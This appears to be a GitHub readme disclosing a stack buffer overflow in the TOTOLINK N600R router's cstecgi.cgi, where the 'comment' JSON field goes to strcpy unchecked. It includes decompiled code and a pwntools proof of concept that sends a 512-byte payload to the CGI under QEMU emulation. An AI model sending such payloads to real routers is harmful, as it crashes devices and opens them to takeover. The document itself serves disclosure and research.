d1tto add n600r ... on Apr 15 History

..

img	8 months ago
readme.md	8 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

Affected version

V4.3.0cu.7647_B20210106

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_004200c8` (at address 0x04200c8) gets the JSON parameter `comment`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_004200c8 -  (cstecgi_not_test.cgi)
35    local_78 = 0;
36    pcVar1 = (char *)websGetVar(param_1,"addEffect","0");
37    iVar2 = atoi(pcVar1);
38    pcVar1 = (char *)websGetVar(param_1,"enable","0");
39    local_3c = atoi(pcVar1);
40    pcVar1 = (char *)websGetVar(param_1,"comment","");
41    __s = (char *)websGetVar(param_1,"macAddress","");
42    __cp = (char *)websGetVar(param_1,"ipAddress","");
43    local_38 = 0;
44    local_34 = 0;
45    local_30 = 0;
46    local_2c = 0;
47    local_28 = 0;
48    local_24 = 0;
49    local_20 = 0;
50    local_1c = 0;
51    if (iVar2 == 0) {
52      local_74 = 0;
53      local_70 = 0;
54      local_6c = 0;
55      local_68 = 0;
56      local_64 = 0;
57      local_60 = 0;
58      local_5c = 0;
59      local_58 = 0;
60      local_54 = 0;
61      local_50 = 0;
62      local_4c = 0;
63      if (pcVar1 != (char *)0x0) {
64        strcpy((char *)((int)&local_6c + 2),pcVar1);
65      }
```

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setStaticDhcpConfig",
    "addEffect": "0",
    "macAddress": "12:34:56:78",
    "comment": "A"*0x200,
    "ipAddress": "192.168.2.1"
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
```

```
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```